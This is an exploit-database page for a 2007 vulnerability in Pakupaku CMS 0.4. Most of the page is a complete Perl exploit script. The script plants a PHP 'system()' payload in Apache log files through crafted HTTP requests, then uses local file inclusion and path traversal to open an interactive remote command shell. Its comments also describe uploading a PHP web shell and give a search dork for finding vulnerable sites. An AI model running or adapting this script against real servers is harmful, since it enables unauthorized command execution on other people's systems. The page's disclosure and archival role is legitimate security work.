Lucene search
K

Pakupaku CMS <= 0.4 - Remote File Upload / LFI Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Pakupaku CMS 0.4 has a Remote File Upload and Local File Inclusion (LFI) vulnerability which allows for command execution

Code

                                                #!/usr/bin/perl
#########################################################################################
# Pakupaku CMS &#60;= 0.4 Remote File Upload Vulnerability                       
# 1- [Path_Script]/index.php?page=Uploads                                    
# 2- Upload GoLd-M.php &#60;= [Php Shell]                                        
# 3- [Path_Script]/uploads/GoLd-M.php &#60;= [Php Shell]                         
# D.Script :  http://heanet.dl.sourceforge.net/sourceforge/pakupaku/pakupaku-0.4.tar.gz  #
#########################################################################################
# D0RK  :http://www.google.com/search?client=opera&rls=en&q=Powered+by+Pakupaku+CMS&sourceid=opera&ie=utf-8&oe=utf-8
# Pakupaku CMS 0.4 (Local Inclusion) Remote Command Execution Exploit

use IO::Socket;
use LWP::Simple;

#ripped from rgod
@apache=(
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../.. /../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;
);

print &#34; ########################################################################\n&#34;;
print &#34; # Pakupaku CMS 0.4 (Local Inclusion) Remote Command Execution Exploit  #\n&#34;;
print &#34; # Discovered by: GoLd_M = [Mahmood_ali]                                #\n&#34;;
print &#34; # Thanx To : Tryag-Team & Asbmay&#39;s Group & bd0rk & All My Friends      #\n&#34;;
print &#34; ########################################################################\n\n&#34;;

if (@ARGV &#60; 3)
{

      print &#34; ########################################################################\n&#34;;
      print &#34; # Usage: 3xp|017.pl [site] [Path] [apache_path]                        #\n&#34;;
      print &#34; # Apache Path:                                                         #\n&#34;;
      print &#34; ########################################################################\n&#34;;
    $i = 0;
    while($apache[$i])
    { print &#34;[$i] $apache[$i]\n&#34;;$i++;}
    exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print &#34;[RST] Injecting some code in log files...\n&#34;;
$CODE=&#34;&#60;?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?&#62;&#34;;
$socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;[RST] Could not connect to host.\n\n&#34;;
print $socket &#34;GET &#34;.$path.$CODE.&#34; HTTP/1.1\r\n&#34;;
print $socket &#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
print $socket &#34;Connection: close\r\n\r\n&#34;;
close($socket);
print &#34;[RST] Shell!! write q to exit !\n&#34;;
print &#34;[RST] IF not working try another apache path\n\n&#34;;

print &#34;[shell] &#34;;$cmd = &#60;STDIN&#62;;

while($cmd !~ &#34;q&#34;) {
    $socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;[RST] Could not connect to host.\n\n&#34;;

    print $socket &#34;GET &#34;.$path.&#34;index.php?page=&#34;.$apache[$apachepath].&#34;%00&cmd=$cmd HTTP/1.1\r\n&#34;;
    print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
    print $socket &#34;Accept: */*\r\n&#34;;
    print $socket &#34;Connection: close\r\n\n&#34;;

    while ($raspuns = &#60;$socket&#62;)
    {
        print $raspuns;
    }

    print &#34;[shell] &#34;;
    $cmd = &#60;STDIN&#62;;
}

# milw0rm.com [2007-08-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13